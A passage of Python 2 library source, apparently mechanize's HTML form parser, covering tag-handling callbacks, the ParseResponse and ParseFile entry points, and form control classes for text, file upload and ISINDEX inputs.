debug(\"%s\", attrs)\n        if self._current_form is not self._global_form:\n            raise ParseError(\"nested FORMs\")\n        name = None\n        action = None\n        enctype = \"application/x-www-form-urlencoded\"\n        method = \"GET\"\n        d = {}\n        for key, value in attrs:\n            if key == \"name\":\n                name = self.unescape_attr_if_required(value)\n            elif key == \"action\":\n                action = self.unescape_attr_if_required(value)\n            elif key == \"method\":\n                method = self.unescape_attr_if_required(value.upper())\n            elif key == \"enctype\":\n                enctype = self.unescape_attr_if_required(value.lower())\n            d[key] = self.unescape_attr_if_required(value)\n        controls = []\n        self._current_form = (name, action, method, enctype), d, controls\n\n    def end_form(self):\n        debug(\"\")\n        if self._current_label is not None:\n            self.end_label()\n        if self._current_form is self._global_form:\n            raise ParseError(\"end of FORM before start\")\n        self.forms.append(self._current_form)\n        self._current_form = self._global_form\n\n    def start_select(self, attrs):\n        debug(\"%s\", attrs)\n        if self._select is not None:\n            raise ParseError(\"nested SELECTs\")\n        if self._textarea is not None:\n            raise ParseError(\"SELECT inside TEXTAREA\")\n        d = {}\n        for key, val in attrs:\n            d[key] = self.unescape_attr_if_required(val)\n\n        self._select = d\n        self._add_label(d)\n\n        self._append_select_control({\"__select\": d})\n\n    def end_select(self):\n        debug(\"\")\n        if self._select is None:\n            raise ParseError(\"end of SELECT before start\")\n\n        if self._option is not None:\n            self._end_option()\n\n        self._select = None\n\n    def start_optgroup(self, attrs):\n        debug(\"%s\", attrs)\n        if self._select is None:\n            raise ParseError(\"OPTGROUP outside of SELECT\")\n        d = {}\n        for key, val in attrs:\n            d[key] = self.unescape_attr_if_required(val)\n\n        self._optgroup = d\n\n    def end_optgroup(self):\n        debug(\"\")\n        if self._optgroup is None:\n            raise ParseError(\"end of OPTGROUP before start\")\n        self._optgroup = None\n\n    def _start_option(self, attrs):\n        debug(\"%s\", attrs)\n        if self._select is None:\n            raise ParseError(\"OPTION outside of SELECT\")\n        if self._option is not None:\n            self._end_option()\n\n        d = {}\n        for key, val in attrs:\n            d[key] = self.unescape_attr_if_required(val)\n\n        self._option = {}\n        self._option.update(d)\n        if (self._optgroup and self._optgroup.has_key(\"disabled\") and\n            not self._option.has_key(\"disabled\")):\n            self._option[\"disabled\"] = None\n\n    def _end_option(self):\n        debug(\"\")\n        if self._option is None:\n            raise ParseError(\"end of OPTION before start\")\n\n        contents = self._option.get(\"contents\", \"\").strip()\n        self._option[\"contents\"] = contents\n        if not self._option.has_key(\"value\"):\n            self._option[\"value\"] = contents\n        if not self._option.has_key(\"label\"):\n            self._option[\"label\"] = contents\n        # stuff dict of SELECT HTML attrs into a special private key\n        #  (gets deleted again later)\n        self._option[\"__select\"] = self._select\n        self._append_select_control(self._option)\n        self._option = None\n\n    def _append_select_control(self, attrs):\n        debug(\"%s\", attrs)\n        controls = self._current_form[2]\n        name = self._select.get(\"name\")\n        controls.append((\"select\", name, attrs))\n\n    def start_textarea(self, attrs):\n        debug(\"%s\", attrs)\n        if self._textarea is not None:\n            raise ParseError(\"nested TEXTAREAs\")\n        if self._select is not None:\n            raise ParseError(\"TEXTAREA inside SELECT\")\n        d = {}\n        for key, val in attrs:\n            d[key] = self.unescape_attr_if_required(val)\n        self._add_label(d)\n\n        self._textarea = d\n\n    def end_textarea(self):\n        debug(\"\")\n        if self._textarea is None:\n            raise ParseError(\"end of TEXTAREA before start\")\n        controls = self._current_form[2]\n        name = self._textarea.get(\"name\")\n        controls.append((\"textarea\", name, self._textarea))\n        self._textarea = None\n\n    def start_label(self, attrs):\n        debug(\"%s\", attrs)\n        if self._current_label:\n            self.end_label()\n        d = {}\n        for key, val in attrs:\n            d[key] = self.unescape_attr_if_required(val)\n        taken = bool(d.get(\"for\"))  # empty id is invalid\n        d[\"__text\"] = \"\"\n        d[\"__taken\"] = taken\n        if taken:\n            self.labels.append(d)\n        self._current_label = d\n\n    def end_label(self):\n        debug(\"\")\n        label = self._current_label\n        if label is None:\n            # something is ugly in the HTML, but we're ignoring it\n            return\n        self._current_label = None\n        # if it is staying around, it is True in all cases\n        del label[\"__taken\"]\n\n    def _add_label(self, d):\n        #debug(\"%s\", d)\n        if self._current_label is not None:\n            if not self._current_label[\"__taken\"]:\n                self._current_label[\"__taken\"] = True\n                d[\"__label\"] = self._current_label\n\n    def handle_data(self, data):\n        debug(\"%s\", data)\n\n        if self._option is not None:\n            # self._option is a dictionary of the OPTION element's HTML\n            # attributes, but it has two special keys, one of which is the\n            # special \"contents\" key contains text between OPTION tags (the\n            # other is the \"__select\" key: see the end_option method)\n            map = self._option\n            key = \"contents\"\n        elif self._textarea is not None:\n            map = self._textarea\n            key = \"value\"\n            data = normalize_line_endings(data)\n        # not if within option or textarea\n        elif self._current_label is not None:\n            map = self._current_label\n            key = \"__text\"\n        else:\n            return\n\n        if data and not map.has_key(key):\n            # according to\n            # http://www.w3.org/TR/html4/appendix/notes.html#h-B.3.1 line break\n            # immediately after start tags or immediately before end tags must\n            # be ignored, but real browsers only ignore a line break after a\n            # start tag, so we'll do that.\n            if data[0:2] == \"\\r\\n\":\n                data = data[2:]\n            elif data[0:1] in [\"\\n\", \"\\r\"]:\n                data = data[1:]\n            map[key] = data\n        else:\n            map[key] = map[key] + data\n\n    def do_button(self, attrs):\n        debug(\"%s\", attrs)\n        d = {}\n        d[\"type\"] = \"submit\"  # default\n        for key, val in attrs:\n            d[key] = self.unescape_attr_if_required(val)\n        controls = self._current_form[2]\n\n        type = d[\"type\"]\n        name = d.get(\"name\")\n        # we don't want to lose information, so use a type string that\n        # doesn't clash with INPUT TYPE={SUBMIT,RESET,BUTTON}\n        # e.g. type for BUTTON/RESET is \"resetbutton\"\n        #     (type for INPUT/RESET is \"reset\")\n        type = type+\"button\"\n        self._add_label(d)\n        controls.append((type, name, d))\n\n    def do_input(self, attrs):\n        debug(\"%s\", attrs)\n        d = {}\n        d[\"type\"] = \"text\"  # default\n        for key, val in attrs:\n            d[key] = self.unescape_attr_if_required(val)\n        controls = self._current_form[2]\n\n        type = d[\"type\"]\n        name = d.get(\"name\")\n        self._add_label(d)\n        controls.append((type, name, d))\n\n    def do_isindex(self, attrs):\n        debug(\"%s\", attrs)\n        d = {}\n        for key, val in attrs:\n            d[key] = self.unescape_attr_if_required(val)\n        controls = self._current_form[2]\n\n        self._add_label(d)\n        # isindex doesn't have type or name HTML attributes\n        controls.append((\"isindex\", None, d))\n\n    def handle_entityref(self, name):\n        #debug(\"%s\", name)\n        self.handle_data(unescape(\n            '&%s;' % name, self._entitydefs, self._encoding))\n\n    def handle_charref(self, name):\n        #debug(\"%s\", name)\n        self.handle_data(unescape_charref(name, self._encoding))\n\n    def unescape_attr(self, name):\n        #debug(\"%s\", name)\n        return unescape(name, self._entitydefs, self._encoding)\n\n    def unescape_attrs(self, attrs):\n        #debug(\"%s\", attrs)\n        escaped_attrs = {}\n        for key, val in attrs.items():\n            try:\n                val.items\n            except AttributeError:\n                escaped_attrs[key] = self.unescape_attr(val)\n            else:\n                # e.g. \"__select\" -- yuck!\n                escaped_attrs[key] = self.unescape_attrs(val)\n        return escaped_attrs\n\n    def unknown_entityref(self, ref): self.handle_data(\"&%s;\" % ref)\n    def unknown_charref(self, ref): self.handle_data(\"&#%s;\" % ref)\n\n\nclass XHTMLCompatibleFormParser(_AbstractFormParser, HTMLParser.HTMLParser):\n    \"\"\"Good for XHTML, bad for tolerance of incorrect HTML.\"\"\"\n    # thanks to Michael Howitz for this!\n    def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING):\n        HTMLParser.HTMLParser.__init__(self)\n        _AbstractFormParser.__init__(self, entitydefs, encoding)\n\n    def feed(self, data):\n        try:\n            HTMLParser.HTMLParser.feed(self, data)\n        except HTMLParser.HTMLParseError, exc:\n            raise ParseError(exc)\n\n    def start_option(self, attrs):\n        _AbstractFormParser._start_option(self, attrs)\n\n    def end_option(self):\n        _AbstractFormParser._end_option(self)\n\n    def handle_starttag(self, tag, attrs):\n        try:\n            method = getattr(self, \"start_\" + tag)\n        except AttributeError:\n            try:\n                method = getattr(self, \"do_\" + tag)\n            except AttributeError:\n                pass  # unknown tag\n            else:\n                method(attrs)\n        else:\n            method(attrs)\n\n    def handle_endtag(self, tag):\n        try:\n            method = getattr(self, \"end_\" + tag)\n        except AttributeError:\n            pass  # unknown tag\n        else:\n            method()\n\n    def unescape(self, name):\n        # Use the entitydefs passed into constructor, not\n        # HTMLParser.HTMLParser's entitydefs.\n        return self.unescape_attr(name)\n\n    def unescape_attr_if_required(self, name):\n        return name  # HTMLParser.HTMLParser already did it\n    def unescape_attrs_if_required(self, attrs):\n        return attrs  # ditto\n\n    def close(self):\n        HTMLParser.HTMLParser.close(self)\n        self.end_body()\n\n\nclass _AbstractSgmllibParser(_AbstractFormParser):\n\n    def do_option(self, attrs):\n        _AbstractFormParser._start_option(self, attrs)\n\n    # we override this attr to decode hex charrefs\n    entity_or_charref = re.compile(\n        '&(?:([a-zA-Z][-.a-zA-Z0-9]*)|#(x?[0-9a-fA-F]+))(;?)')\n    def convert_entityref(self, name):\n        return unescape(\"&%s;\" % name, self._entitydefs, self._encoding)\n    def convert_charref(self, name):\n        return unescape_charref(\"%s\" % name, self._encoding)\n    def unescape_attr_if_required(self, name):\n        return name  # sgmllib already did it\n    def unescape_attrs_if_required(self, attrs):\n        return attrs  # ditto\n\n\nclass FormParser(_AbstractSgmllibParser, _sgmllib_copy.SGMLParser):\n    \"\"\"Good for tolerance of incorrect HTML, bad for XHTML.\"\"\"\n    def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING):\n        _sgmllib_copy.SGMLParser.__init__(self)\n        _AbstractFormParser.__init__(self, entitydefs, encoding)\n\n    def feed(self, data):\n        try:\n            _sgmllib_copy.SGMLParser.feed(self, data)\n        except _sgmllib_copy.SGMLParseError, exc:\n            raise ParseError(exc)\n\n    def close(self):\n        _sgmllib_copy.SGMLParser.close(self)\n        self.end_body()\n\n\nclass _AbstractBSFormParser(_AbstractSgmllibParser):\n\n    bs_base_class = None\n\n    def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING):\n        _AbstractFormParser.__init__(self, entitydefs, encoding)\n        self.bs_base_class.__init__(self)\n\n    def handle_data(self, data):\n        _AbstractFormParser.handle_data(self, data)\n        self.bs_base_class.handle_data(self, data)\n\n    def feed(self, data):\n        try:\n            self.bs_base_class.feed(self, data)\n        except _sgmllib_copy.SGMLParseError, exc:\n            raise ParseError(exc)\n\n    def close(self):\n        self.bs_base_class.close(self)\n        self.end_body()\n\n\nclass RobustFormParser(_AbstractBSFormParser, _beautifulsoup.BeautifulSoup):\n\n    \"\"\"Tries to be highly tolerant of incorrect HTML.\"\"\"\n\n    bs_base_class = _beautifulsoup.BeautifulSoup\n\n\nclass NestingRobustFormParser(_AbstractBSFormParser,\n                              _beautifulsoup.ICantBelieveItsBeautifulSoup):\n\n    \"\"\"Tries to be highly tolerant of incorrect HTML.\n\n    Different from RobustFormParser in that it more often guesses nesting\n    above missing end tags (see BeautifulSoup docs).\n    \"\"\"\n\n    bs_base_class = _beautifulsoup.ICantBelieveItsBeautifulSoup\n\n\n#FormParser = XHTMLCompatibleFormParser  # testing hack\n#FormParser = RobustFormParser  # testing hack\n\n\ndef ParseResponseEx(response,\n                    select_default=False,\n                    form_parser_class=FormParser,\n                    request_class=_request.Request,\n                    entitydefs=None,\n                    encoding=DEFAULT_ENCODING,\n\n                    # private\n                    _urljoin=urlparse.urljoin,\n                    _urlparse=urlparse.urlparse,\n                    _urlunparse=urlparse.urlunparse,\n                    ):\n    \"\"\"Identical to ParseResponse, except that:\n\n    1. The returned list contains an extra item.  The first form in the list\n    contains all controls not contained in any FORM element.\n\n    2. The arguments ignore_errors and backwards_compat have been removed.\n\n    3. Backwards-compatibility mode (backwards_compat=True) is not available.\n    \"\"\"\n    return _ParseFileEx(response, response.geturl(),\n                        select_default,\n                        False,\n                        form_parser_class,\n                        request_class,\n                        entitydefs,\n                        False,\n                        encoding,\n                        _urljoin=_urljoin,\n                        _urlparse=_urlparse,\n                        _urlunparse=_urlunparse,\n                        )\n\ndef ParseFileEx(file, base_uri,\n                select_default=False,\n                form_parser_class=FormParser,\n                request_class=_request.Request,\n                entitydefs=None,\n                encoding=DEFAULT_ENCODING,\n\n                # private\n                _urljoin=urlparse.urljoin,\n                _urlparse=urlparse.urlparse,\n                _urlunparse=urlparse.urlunparse,\n                ):\n    \"\"\"Identical to ParseFile, except that:\n\n    1. The returned list contains an extra item.  The first form in the list\n    contains all controls not contained in any FORM element.\n\n    2. The arguments ignore_errors and backwards_compat have been removed.\n\n    3. Backwards-compatibility mode (backwards_compat=True) is not available.\n    \"\"\"\n    return _ParseFileEx(file, base_uri,\n                        select_default,\n                        False,\n                        form_parser_class,\n                        request_class,\n                        entitydefs,\n                        False,\n                        encoding,\n                        _urljoin=_urljoin,\n                        _urlparse=_urlparse,\n                        _urlunparse=_urlunparse,\n                        )\n\ndef ParseString(text, base_uri, *args, **kwds):\n    fh = StringIO(text)\n    return ParseFileEx(fh, base_uri, *args, **kwds)\n\ndef ParseResponse(response, *args, **kwds):\n    \"\"\"Parse HTTP response and return a list of HTMLForm instances.\n\n    The return value of mechanize.urlopen can be conveniently passed to this\n    function as the response parameter.\n\n    mechanize.ParseError is raised on parse errors.\n\n    response: file-like object (supporting read() method) with a method\n     geturl(), returning the URI of the HTTP response\n    select_default: for multiple-selection SELECT controls and RADIO controls,\n     pick the first item as the default if none are selected in the HTML\n    form_parser_class: class to instantiate and use to pass\n    request_class: class to return from .click() method (default is\n     mechanize.Request)\n    entitydefs: mapping like {\"&amp;\": \"&\", ...} containing HTML entity\n     definitions (a sensible default is used)\n    encoding: character encoding used for encoding numeric character references\n     when matching link text.  mechanize does not attempt to find the encoding\n     in a META HTTP-EQUIV attribute in the document itself (mechanize, for\n     example, does do that and will pass the correct value to mechanize using\n     this parameter).\n\n    backwards_compat: boolean that determines whether the returned HTMLForm\n     objects are backwards-compatible with old code.  If backwards_compat is\n     true:\n\n     - ClientForm 0.1 code will continue to work as before.\n\n     - Label searches that do not specify a nr (number or count) will always\n       get the first match, even if other controls match.  If\n       backwards_compat is False, label searches that have ambiguous results\n       will raise an AmbiguityError.\n\n     - Item label matching is done by strict string comparison rather than\n       substring matching.\n\n     - De-selecting individual list items is allowed even if the Item is\n       disabled.\n\n    The backwards_compat argument will be removed in a future release.\n\n    Pass a true value for select_default if you want the behaviour specified by\n    RFC 1866 (the HTML 2.0 standard), which is to select the first item in a\n    RADIO or multiple-selection SELECT control if none were selected in the\n    HTML.  Most browsers (including Microsoft Internet Explorer (IE) and\n    Netscape Navigator) instead leave all items unselected in these cases.  The\n    W3C HTML 4.0 standard leaves this behaviour undefined in the case of\n    multiple-selection SELECT controls, but insists that at least one RADIO\n    button should be checked at all times, in contradiction to browser\n    behaviour.\n\n    There is a choice of parsers.  mechanize.XHTMLCompatibleFormParser (uses\n    HTMLParser.HTMLParser) works best for XHTML, mechanize.FormParser (uses\n    bundled copy of sgmllib.SGMLParser) (the default) works better for ordinary\n    grubby HTML.  Note that HTMLParser is only available in Python 2.2 and\n    later.  You can pass your own class in here as a hack to work around bad\n    HTML, but at your own risk: there is no well-defined interface.\n\n    \"\"\"\n    return _ParseFileEx(response, response.geturl(), *args, **kwds)[1:]\n\ndef ParseFile(file, base_uri, *args, **kwds):\n    \"\"\"Parse HTML and return a list of HTMLForm instances.\n\n    mechanize.ParseError is raised on parse errors.\n\n    file: file-like object (supporting read() method) containing HTML with zero\n     or more forms to be parsed\n    base_uri: the URI of the document (note that the base URI used to submit\n     the form will be that given in the BASE element if present, not that of\n     the document)\n\n    For the other arguments and further details, see ParseResponse.__doc__.\n\n    \"\"\"\n    return _ParseFileEx(file, base_uri, *args, **kwds)[1:]\n\ndef _ParseFileEx(file, base_uri,\n                 select_default=False,\n                 ignore_errors=False,\n                 form_parser_class=FormParser,\n                 request_class=_request.Request,\n                 entitydefs=None,\n                 backwards_compat=True,\n                 encoding=DEFAULT_ENCODING,\n                 _urljoin=urlparse.urljoin,\n                 _urlparse=urlparse.urlparse,\n                 _urlunparse=urlparse.urlunparse,\n                 ):\n    if backwards_compat:\n        deprecation(\"operating in backwards-compatibility mode\", 1)\n    fp = form_parser_class(entitydefs, encoding)\n    while 1:\n        data = file.read(CHUNK)\n        try:\n            fp.feed(data)\n        except ParseError, e:\n            e.base_uri = base_uri\n            raise\n        if len(data) != CHUNK: break\n    fp.close()\n    if fp.base is not None:\n        # HTML BASE element takes precedence over document URI\n        base_uri = fp.base\n    labels = []  # Label(label) for label in fp.labels]\n    id_to_labels = {}\n    for l in fp.labels:\n        label = Label(l)\n        labels.append(label)\n        for_id = l[\"for\"]\n        coll = id_to_labels.get(for_id)\n        if coll is None:\n            id_to_labels[for_id] = [label]\n        else:\n            coll.append(label)\n    forms = []\n    for (name, action, method, enctype), attrs, controls in fp.forms:\n        if action is None:\n            action = base_uri\n        else:\n            action = _urljoin(base_uri, action)\n        # would be nice to make HTMLForm class (form builder) pluggable\n        form = HTMLForm(\n            action, method, enctype, name, attrs, request_class,\n            forms, labels, id_to_labels, backwards_compat)\n        form._urlparse = _urlparse\n        form._urlunparse = _urlunparse\n        for ii in range(len(controls)):\n            type, name, attrs = controls[ii]\n            # index=ii*10 allows ImageControl to return multiple ordered pairs\n            form.new_control(\n                type, name, attrs, select_default=select_default, index=ii*10)\n        forms.append(form)\n    for form in forms:\n        form.fixup()\n    return forms\n\n\nclass Label:\n    def __init__(self, attrs):\n        self.id = attrs.get(\"for\")\n        self._text = attrs.get(\"__text\").strip()\n        self._ctext = compress_text(self._text)\n        self.attrs = attrs\n        self._backwards_compat = False  # maintained by HTMLForm\n\n    def __getattr__(self, name):\n        if name == \"text\":\n            if self._backwards_compat:\n                return self._text\n            else:\n                return self._ctext\n        return getattr(Label, name)\n\n    def __setattr__(self, name, value):\n        if name == \"text\":\n            # don't see any need for this, so make it read-only\n            raise AttributeError(\"text attribute is read-only\")\n        self.__dict__[name] = value\n\n    def __str__(self):\n        return \"<Label(id=%r, text=%r)>\" % (self.id, self.text)\n\n\ndef _get_label(attrs):\n    text = attrs.get(\"__label\")\n    if text is not None:\n        return Label(text)\n    else:\n        return None\n\nclass Control:\n    \"\"\"An HTML form control.\n\n    An HTMLForm contains a sequence of Controls.  The Controls in an HTMLForm\n    are accessed using the HTMLForm.find_control method or the\n    HTMLForm.controls attribute.\n\n    Control instances are usually constructed using the ParseFile /\n    ParseResponse functions.  If you use those functions, you can ignore the\n    rest of this paragraph.  A Control is only properly initialised after the\n    fixup method has been called.  In fact, this is only strictly necessary for\n    ListControl instances.  This is necessary because ListControls are built up\n    from ListControls each containing only a single item, and their initial\n    value(s) can only be known after the sequence is complete.\n\n    The types and values that are acceptable for assignment to the value\n    attribute are defined by subclasses.\n\n    If the disabled attribute is true, this represents the state typically\n    represented by browsers by 'greying out' a control.  If the disabled\n    attribute is true, the Control will raise AttributeError if an attempt is\n    made to change its value.  In addition, the control will not be considered\n    'successful' as defined by the W3C HTML 4 standard -- ie. it will\n    contribute no data to the return value of the HTMLForm.click* methods.  To\n    enable a control, set the disabled attribute to a false value.\n\n    If the readonly attribute is true, the Control will raise AttributeError if\n    an attempt is made to change its value.  To make a control writable, set\n    the readonly attribute to a false value.\n\n    All controls have the disabled and readonly attributes, not only those that\n    may have the HTML attributes of the same names.\n\n    On assignment to the value attribute, the following exceptions are raised:\n    TypeError, AttributeError (if the value attribute should not be assigned\n    to, because the control is disabled, for example) and ValueError.\n\n    If the name or value attributes are None, or the value is an empty list, or\n    if the control is disabled, the control is not successful.\n\n    Public attributes:\n\n    type: string describing type of control (see the keys of the\n     HTMLForm.type2class dictionary for the allowable values) (readonly)\n    name: name of control (readonly)\n    value: current value of control (subclasses may allow a single value, a\n     sequence of values, or either)\n    disabled: disabled state\n    readonly: readonly state\n    id: value of id HTML attribute\n\n    \"\"\"\n    def __init__(self, type, name, attrs, index=None):\n        \"\"\"\n        type: string describing type of control (see the keys of the\n         HTMLForm.type2class dictionary for the allowable values)\n        name: control name\n        attrs: HTML attributes of control's HTML element\n\n        \"\"\"\n        raise NotImplementedError()\n\n    def add_to_form(self, form):\n        self._form = form\n        form.controls.append(self)\n\n    def fixup(self):\n        pass\n\n    def is_of_kind(self, kind):\n        raise NotImplementedError()\n\n    def clear(self):\n        raise NotImplementedError()\n\n    def __getattr__(self, name): raise NotImplementedError()\n    def __setattr__(self, name, value): raise NotImplementedError()\n\n    def pairs(self):\n        \"\"\"Return list of (key, value) pairs suitable for passing to urlencode.\n        \"\"\"\n        return [(k, v) for (i, k, v) in self._totally_ordered_pairs()]\n\n    def _totally_ordered_pairs(self):\n        \"\"\"Return list of (key, value, index) tuples.\n\n        Like pairs, but allows preserving correct ordering even where several\n        controls are involved.\n\n        \"\"\"\n        raise NotImplementedError()\n\n    def _write_mime_data(self, mw, name, value):\n        \"\"\"Write data for a subitem of this control to a MimeWriter.\"\"\"\n        # called by HTMLForm\n        mw2 = mw.nextpart()\n        mw2.addheader(\"Content-Disposition\",\n                      'form-data; name=\"%s\"' % name, 1)\n        f = mw2.startbody(prefix=0)\n        f.write(value)\n\n    def __str__(self):\n        raise NotImplementedError()\n\n    def get_labels(self):\n        \"\"\"Return all labels (Label instances) for this control.\n        \n        If the control was surrounded by a <label> tag, that will be the first\n        label; all other labels, connected by 'for' and 'id', are in the order\n        that appear in the HTML.\n\n        \"\"\"\n        res = []\n        if self._label:\n            res.append(self._label)\n        if self.id:\n            res.extend(self._form._id_to_labels.get(self.id, ()))\n        return res\n\n\n#---------------------------------------------------\nclass ScalarControl(Control):\n    \"\"\"Control whose value is not restricted to one of a prescribed set.\n\n    Some ScalarControls don't accept any value attribute.  Otherwise, takes a\n    single value, which must be string-like.\n\n    Additional read-only public attribute:\n\n    attrs: dictionary mapping the names of original HTML attributes of the\n     control to their values\n\n    \"\"\"\n    def __init__(self, type, name, attrs, index=None):\n        self._index = index\n        self._label = _get_label(attrs)\n        self.__dict__[\"type\"] = type.lower()\n        self.__dict__[\"name\"] = name\n        self._value = attrs.get(\"value\")\n        self.disabled = attrs.has_key(\"disabled\")\n        self.readonly = attrs.has_key(\"readonly\")\n        self.id = attrs.get(\"id\")\n\n        self.attrs = attrs.copy()\n\n        self._clicked = False\n\n        self._urlparse = urlparse.urlparse\n        self._urlunparse = urlparse.urlunparse\n\n    def __getattr__(self, name):\n        if name == \"value\":\n            return self.__dict__[\"_value\"]\n        else:\n            raise AttributeError(\"%s instance has no attribute '%s'\" %\n                                 (self.__class__.__name__, name))\n\n    def __setattr__(self, name, value):\n        if name == \"value\":\n            if not isstringlike(value):\n                raise TypeError(\"must assign a string\")\n            elif self.readonly:\n                raise AttributeError(\"control '%s' is readonly\" % self.name)\n            elif self.disabled:\n                raise AttributeError(\"control '%s' is disabled\" % self.name)\n            self.__dict__[\"_value\"] = value\n        elif name in (\"name\", \"type\"):\n            raise AttributeError(\"%s attribute is readonly\" % name)\n        else:\n            self.__dict__[name] = value\n\n    def _totally_ordered_pairs(self):\n        name = self.name\n        value = self.value\n        if name is None or value is None or self.disabled:\n            return []\n        return [(self._index, name, value)]\n\n    def clear(self):\n        if self.readonly:\n            raise AttributeError(\"control '%s' is readonly\" % self.name)\n        self.__dict__[\"_value\"] = None\n\n    def __str__(self):\n        name = self.name\n        value = self.value\n        if name is None: name = \"<None>\"\n        if value is None: value = \"<None>\"\n\n        infos = []\n        if self.disabled: infos.append(\"disabled\")\n        if self.readonly: infos.append(\"readonly\")\n        info = \", \".join(infos)\n        if info: info = \" (%s)\" % info\n\n        return \"<%s(%s=%s)%s>\" % (self.__class__.__name__, name, value, info)\n\n\n#---------------------------------------------------\nclass TextControl(ScalarControl):\n    \"\"\"Textual input control.\n\n    Covers:\n\n    INPUT/TEXT\n    INPUT/PASSWORD\n    INPUT/HIDDEN\n    TEXTAREA\n\n    \"\"\"\n    def __init__(self, type, name, attrs, index=None):\n        ScalarControl.__init__(self, type, name, attrs, index)\n        if self.type == \"hidden\": self.readonly = True\n        if self._value is None:\n            self._value = \"\"\n\n    def is_of_kind(self, kind): return kind == \"text\"\n\n#---------------------------------------------------\nclass FileControl(ScalarControl):\n    \"\"\"File upload with INPUT TYPE=FILE.\n\n    The value attribute of a FileControl is always None.  Use add_file instead.\n\n    Additional public method: add_file\n\n    \"\"\"\n\n    def __init__(self, type, name, attrs, index=None):\n        ScalarControl.__init__(self, type, name, attrs, index)\n        self._value = None\n        self._upload_data = []\n\n    def is_of_kind(self, kind): return kind == \"file\"\n\n    def clear(self):\n        if self.readonly:\n            raise AttributeError(\"control '%s' is readonly\" % self.name)\n        self._upload_data = []\n\n    def __setattr__(self, name, value):\n        if name in (\"value\", \"name\", \"type\"):\n            raise AttributeError(\"%s attribute is readonly\" % name)\n        else:\n            self.__dict__[name] = value\n\n    def add_file(self, file_object, content_type=None, filename=None):\n        if not hasattr(file_object, \"read\"):\n            raise TypeError(\"file-like object must have read method\")\n        if content_type is not None and not isstringlike(content_type):\n            raise TypeError(\"content type must be None or string-like\")\n        if filename is not None and not isstringlike(filename):\n            raise TypeError(\"filename must be None or string-like\")\n        if content_type is None:\n            content_type = \"application/octet-stream\"\n        self._upload_data.append((file_object, content_type, filename))\n\n    def _totally_ordered_pairs(self):\n        # XXX should it be successful even if unnamed?\n        if self.name is None or self.disabled:\n            return []\n        return [(self._index, self.name, \"\")]\n\n    # If enctype is application/x-www-form-urlencoded and there's a FILE\n    # control present, what should be sent?  Strictly, it should be 'name=data'\n    # (see HTML 4.01 spec., section 17.13.2), but code sends \"name=\" ATM.  What\n    # about multiple file upload?\n    def _write_mime_data(self, mw, _name, _value):\n        # called by HTMLForm\n        # assert _name == self.name and _value == ''\n        if len(self._upload_data) < 2:\n            if len(self._upload_data) == 0:\n                file_object = StringIO()\n                content_type = \"application/octet-stream\"\n                filename = \"\"\n            else:\n                file_object, content_type, filename = self._upload_data[0]\n                if filename is None:\n                    filename = \"\"\n            mw2 = mw.nextpart()\n            fn_part = '; filename=\"%s\"' % filename\n            disp = 'form-data; name=\"%s\"%s' % (self.name, fn_part)\n            mw2.addheader(\"Content-Disposition\", disp, prefix=1)\n            fh = mw2.startbody(content_type, prefix=0)\n            fh.write(file_object.read())\n        else:\n            # multiple files\n            mw2 = mw.nextpart()\n            disp = 'form-data; name=\"%s\"' % self.name\n            mw2.addheader(\"Content-Disposition\", disp, prefix=1)\n            fh = mw2.startmultipartbody(\"mixed\", prefix=0)\n            for file_object, content_type, filename in self._upload_data:\n                mw3 = mw2.nextpart()\n                if filename is None:\n                    filename = \"\"\n                fn_part = '; filename=\"%s\"' % filename\n                disp = \"file%s\" % fn_part\n                mw3.addheader(\"Content-Disposition\", disp, prefix=1)\n                fh2 = mw3.startbody(content_type, prefix=0)\n                fh2.write(file_object.read())\n            mw2.lastpart()\n\n    def __str__(self):\n        name = self.name\n        if name is None: name = \"<None>\"\n\n        if not self._upload_data:\n            value = \"<No files added>\"\n        else:\n            value = []\n            for file, ctype, filename in self._upload_data:\n                if filename is None:\n                    value.append(\"<Unnamed file>\")\n                else:\n                    value.append(filename)\n            value = \", \".join(value)\n\n        info = []\n        if self.disabled: info.append(\"disabled\")\n        if self.readonly: info.append(\"readonly\")\n        info = \", \".join(info)\n        if info: info = \" (%s)\" % info\n\n        return \"<%s(%s=%s)%s>\" % (self.__class__.__name__, name, value, info)\n\n\n#---------------------------------------------------\nclass IsindexControl(ScalarControl):\n    \"\"\"ISINDEX control.\n\n    ISINDEX is the odd-one-out of HTML form controls.  In fact, it isn't really\n    part of regular HTML forms at all, and predates it.  You're only allowed\n    one ISINDEX per HTML document.  ISINDEX and regular form submission are\n    mutually exclusive -- either submit a form, or the ISINDEX.\n\n    Having said this, since ISINDEX controls may appear in forms (which is\n    probably bad HTML), ParseFile / ParseResponse will include them in the\n    HTMLForm instances it returns.  You can set the ISINDEX's value, as with\n    any other control (but note that ISINDEX controls have no name, so you'll\n    need to use the type argument of set_value!).  When you submit the form,\n    the ISINDEX will not be successful (ie., no data will get returned to the\n    server as a result of its presence), unless you click on the ISINDEX\n    control, in which case the ISINDEX gets submitted instead of the form:\n\n    form.set_value(\"my isindex value\", type=\"isindex\")\n    mechanize.urlopen(form.click(type=\"isindex\"))\n\n    ISINDEX elements outside of FORMs are ignored.  If you want to submit one\n    by hand, do it like so:\n\n    url = urlparse.urljoin(page_uri, \"?\"+urllib.quote_plus(\"my isindex value\"))\n    result = mechanize.urlopen(url)\n\n    \"\"\"\n    def __init__(self, type, name, attrs, index=None):\n        ScalarControl.__init__(self, type, name, attrs, index)\n        if self._value is None:\n            self._value = \"\"\n\n    def is_of_kind(self, kind): return kind in [\"text\", \"clickable\"]\n\n    def _totally_ordered_pairs(self):\n        return []\n\n    def _click(self, form, coord, return_type, request_class=_request.Request):\n        # Relative URL for ISINDEX submission: instead of \"foo=bar+baz\",\n        # want \"bar+baz\".\n        # This doesn't seem to be specified in HTML 4.01 spec. (ISINDEX is\n        # deprecated in 4.01, but it should still say how to submit it).\n        # Submission of ISINDEX is explained in the HTML 3.2 spec, though.\n        parts = self._urlparse(form.action)\n        rest, (query, frag) = parts[:-2], parts[-2:]\n        parts = rest + (urllib.quote_plus(self.value), None)\n        url = self._urlunparse(parts)\n        req_data = url, None, []\n\n        if return_type == \"pairs\":\n            return []\n        elif return_type == \"request_data\":\n            return req_data\n        else:\n            return request_class(url)\n\n    def __str__(self):\n        value = self.value\n        if value is None: value = \"<None>\"\n\n        infos = []\n        if self.disabled: infos.append(\"disabled\")\n        if self.readonly: infos.append(\"readonly\")\n        info = \", \".join(infos)\n        if info: info = \" (%s)\" % info\n\n        return \"<%s(%s)%s>\" % (self.__class__.__name__, value, 